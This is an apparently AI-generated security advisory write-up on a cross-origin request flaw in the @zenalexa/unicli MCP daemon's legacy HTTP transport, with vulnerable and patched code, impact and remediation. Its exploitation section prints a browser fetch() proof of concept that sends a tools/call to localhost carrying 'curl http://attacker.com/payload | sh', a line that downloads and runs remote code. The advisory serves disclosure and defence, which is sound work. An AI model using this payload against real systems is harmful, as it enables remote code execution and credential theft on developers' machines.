CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-V3F4-W7R7-V3HM

GHSA-v3f4-w7r7-v3hm: Remote Command Execution via Origin Validation Error in Uni-CLI Legacy HTTP Transport

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 22, 2026·7 min read·22 visits

Executive Summary (TL;DR)

A vulnerability in @zenalexa/unicli allows malicious websites to execute arbitrary local system commands on a developer's machine by sending unauthenticated cross-origin requests to the local daemon.

An origin validation error and cross-site request forgery vulnerability in @zenalexa/unicli prior to version 0.225.2 allows cross-origin web applications to execute arbitrary tools on a user's local machine via the legacy stateless HTTP transport.

Vulnerability Overview

The Model Context Protocol (MCP) is an open standard designed to facilitate communication between Large Language Model applications and external data sources or local development tools. The @zenalexa/unicli package implements a CLI client and daemon supporting MCP. To enable external applications to interface with local development assets, the CLI exposes an HTTP daemon. This daemon listens on the loopback interface (localhost or 127.0.0.1) and parses incoming requests to trigger system commands.

In versions of @zenalexa/unicli prior to 0.225.2, this daemon included a legacy stateless HTTP transport mechanism. The stateless transport was bound to a loopback port but lacked any checks to verify the source of incoming HTTP connections. This omitted validation created an open attack surface on any workstation running the daemon.

This issue represents a combination of an Origin Validation Error (CWE-346) and Cross-Site Request Forgery (CWE-352). Because browser security boundaries do not block all cross-origin requests to local network services by default, malicious external web pages could send arbitrary instructions to the loopback service. The resulting exploitation could allow unauthenticated command execution under the credentials of the local user running the daemon.

Root Cause Analysis

The underlying vulnerability stems from how the legacy stateless HTTP transport processed incoming HTTP request headers. Web browsers implement the Same-Origin Policy (SOP) to isolate resources loaded from different origins. However, the browser SOP allows websites to send Cross-Origin Resource Sharing (CORS) "simple requests" without initiating a preflight OPTIONS handshake. A standard POST request with a Content-Type header set to text/plain qualifies as a simple request, meaning the browser transmits the payload to the local server without checking authorization first.

The Uni-CLI legacy stateless HTTP handler processed all incoming payloads on the /mcp route directly as JSON-RPC instructions. It did not examine the Origin header to ensure the request originated from a trusted client application or the loopback domain. As a result, when the web browser executed the cross-origin request, the loopback daemon parsed and executed the command payload contained in the request body.

This behavior highlights a significant security posture drift within the Uni-CLI code base. The newer Streamable HTTP transport implementation in the same package utilized rigorous routing guards. These guards checked the incoming Origin and restricted communication to explicitly trusted endpoints. The legacy stateless HTTP transport bypassed these middleware validations entirely, maintaining an unauthenticated pathway directly into the core command dispatcher.

Code Analysis

The vulnerability was located in the legacy route handler that received incoming stateless JSON-RPC calls. Before the fix in version 0.225.2, the handler processed the HTTP request body directly. It passed the JSON content to the command executor without validating the headers.

// BEFORE: Vulnerable route handling in legacy stateless transport
app.post('/mcp', (req, res) => {
  // Missing check for 'Origin' header allows cross-origin requests
  const payload = JSON.parse(req.body);
  dispatcher.execute(payload)
    .then(result => res.json(result))
    .catch(err => res.status(500).json({ error: err.message }));
});

The remediation resolved this issue by introducing a unified origin-validation middleware. This middleware executes before routing requests for both the legacy and modern transport layers. It inspects the Origin header and rejects any request containing an untrusted domain name.

// AFTER: Patched route handling with global Origin validation middleware
function originGuard(req, res, next) {
  const origin = req.headers['origin'];
  // If the origin header exists and is not loopback, block the request
  if (origin && !isLocalOrigin(origin)) {
    return res.status(403).send('Forbidden: Cross-origin requests are blocked');
  }
  next();
}
 
app.use(originGuard);
app.post('/mcp', (req, res) => {
  const payload = JSON.parse(req.body);
  dispatcher.execute(payload)
    .then(result => res.json(result))
    .catch(err => res.status(500).json({ error: err.message }));
});

This structural fix ensures that standard browser cross-origin requests are terminated at the HTTP entry point. Because non-browser clients (such as local CLI tools) do not attach an Origin header, they continue to work without modification. Only browser-originated requests are evaluated against the strict loopback domain whitelist.

Exploitation Methodology

An attacker can exploit this vulnerability by hosting a malicious website and inducing the victim to visit it while the Uni-CLI daemon is running. Because the daemon listens on a predictable loopback port, the malicious website can run background JavaScript to send cross-origin requests to typical local ports.

To bypass the preflight CORS check, the payload is structured as a CORS-simple request. The script sets the Content-Type header to text/plain but embeds a valid JSON-RPC payload in the body. The local daemon receives the text body, parses it as JSON anyway, and executes the contained instructions.

// Example exploit payload running within the victim's browser
fetch('http://localhost:8080/mcp', {
  method: 'POST',
  headers: {
    'Content-Type': 'text/plain'
  },
  body: JSON.stringify({
    jsonrpc: '2.0',
    method: 'tools/call',
    params: {
      name: 'execute_command',
      arguments: {
        cmd: 'curl http://attacker.com/payload | sh'
      }
    },
    id: 1
  })
});

Because the request originates from the local browser running on the victim's workstation, the destination IP address is 127.0.0.1 or localhost. The local operating system forwards the request to the loopback-bound Uni-CLI daemon, which processes the payload as if it came from a trusted local application.

Impact Assessment

The impact of successful exploitation is critical. By triggering arbitrary tools/call operations, a remote attacker can run arbitrary tools configured in the victim's Uni-CLI instance. These tools often have access to local file systems, secure environment variables, and local command execution capabilities.

Because the command executes on the victim's local machine, the attacker obtains the privilege level of the user running the Uni-CLI daemon. If the developer runs the daemon with administrative privileges or has access to local SSH keys, credentials, or API keys, the attacker can extract these secrets. The remote entity can then pivot into internal corporate resources or cloud environments using the compromised credentials.

The vulnerability receives a CVSS v4.0 score of 8.6, representing high confidentiality and integrity impact with low attack complexity. Although user interaction is required (visiting the malicious page), the attack does not require any prior configuration knowledge or authentication credentials, making it highly reliable once a target visits the site.

Remediation and Defenses

The primary remediation strategy is upgrading the @zenalexa/unicli package to version 0.225.2 or later. This update introduces the unified Origin validation middleware which protects the /mcp HTTP endpoint against cross-origin browser requests.

If upgrading is not immediately possible, administrators should disable the legacy stateless HTTP transport. Restricting CLI transport mechanisms to stdio or migrating completely to the secured Streamable HTTP transport mitigates the attack vector. These alternatives do not expose an unauthenticated HTTP endpoint on the loopback interface.

Additionally, firewall configurations or host-based security tools can restrict access to loopback ports. Standard network security practices should ensure that any local service binding to loopback interfaces cannot be accessed by untrusted host processes. Software developers should continuously monitor and align the security postures of all exposed communication channels.

Official Patches

Uni-CLIGitHub Security Advisory GHSA-v3f4-w7r7-v3hm

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Affected Systems

@zenalexa/unicli

Affected Versions Detail

Product
Affected Versions
Fixed Version
@zenalexa/unicli
Uni-CLI
< 0.225.20.225.2
AttributeDetail
CWE IDCWE-346, CWE-352
Attack VectorNetwork / Cross-Origin HTTP Request
CVSS v4.0 Score8.6 (High)
EPSS ScoreN/A
Exploit StatusNone / Proof of Concept Not Weaponized
ImpactArbitrary Tool / Command Execution on Host
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1566Phishing
Initial Access
T1204.001User Execution: Malicious Link
Execution
CWE-346
Origin Validation Error

The application does not validate that the Origin header matches expected local domains, allowing malicious cross-origin scripts to make state-changing requests.

Vulnerability Timeline

GitHub Advisory GHSA-v3f4-w7r7-v3hm is reviewed and published
2026-06-19
Upstream release of version 0.225.2 containing the unified origin validation middleware
2026-06-19

References & Sources

  • [1]GitHub Advisory Database Entry
  • [2]Upstream Security Advisory
  • [3]Upstream Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 9 hours ago•CVE-2026-54068
5.9

CVE-2026-54068: Unauthenticated Server-Side Template Injection and SQLite Exfiltration in SiYuan PKM

An authentication bypass in the SiYuan personal knowledge management system before version 3.7.0 exposes a dynamic icon rendering endpoint. This endpoint processes client-supplied Go template directives. By submitting a crafted request, an unauthenticated remote attacker can leverage registered database template functions to execute arbitrary read-only SQL queries and exfiltrate workspace contents.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 9 hours ago•CVE-2026-54069
9.1

CVE-2026-54069: Authentication Bypass in SiYuan Note via Origin Header Spoofing

CVE-2026-54069 is a critical authentication bypass vulnerability in the SiYuan Note personal knowledge management system. The flaw is located in the HTTP server's middleware handling API authorization, which unconditionally trusts requests carrying a 'chrome-extension://' scheme in the Origin HTTP header, granting administrative access without validating API tokens.

Alon Barad
Alon Barad
4 views•5 min read
•about 10 hours ago•CVE-2026-54089
9.1

CVE-2026-54089: Authentication Bypass by Spoofing in File Browser

CVE-2026-54089 is a critical authentication bypass vulnerability in File Browser affecting instances configured with proxy-based authentication. An unauthenticated remote attacker with direct network access can impersonate arbitrary users or register new accounts by spoofing configured HTTP headers.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 10 hours ago•GHSA-99J7-FHR2-XFJ4
10.0

GHSA-99J7-FHR2-XFJ4: Malicious Remote Code Execution Payload in 'exploration' Cargo Crate

The malicious Cargo package 'exploration' was uploaded to the crates.io registry. During compilation or package import, the crate executes code designed to establish an outbound TCP/HTTP connection, download an external second-stage binary, and execute the binary locally on the host machine. This creates an unauthenticated remote code execution vector impacting developer environments and continuous integration pipelines.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 11 hours ago•CVE-2026-54088
9.3

CVE-2026-54088: Pre-Authentication Remote Code Execution in File Browser Hook Authentication

CVE-2026-54088 is a critical command injection vulnerability in File Browser prior to version 2.63.6. When Hook Authentication is enabled, the application interpolates unsanitized credentials into a shell command, allowing unauthenticated remote code execution.

Alon Barad
Alon Barad
6 views•6 min read
•about 11 hours ago•GHSA-QV4M-M73M-8HJ7
8.8

GHSA-qv4m-m73m-8hj7: Authenticated Arbitrary File Upload leading to Remote Code Execution in NotrinosERP

An authenticated remote code execution vulnerability exists in NotrinosERP (versions up to and including 1.0.0) within the Human Resource Management (HRM) module. Users with employee management permissions can upload arbitrary file types, including PHP scripts, which are written directly to a web-accessible directory. This allows for arbitrary code execution in the context of the web-server user.

Alon Barad
Alon Barad
5 views•6 min read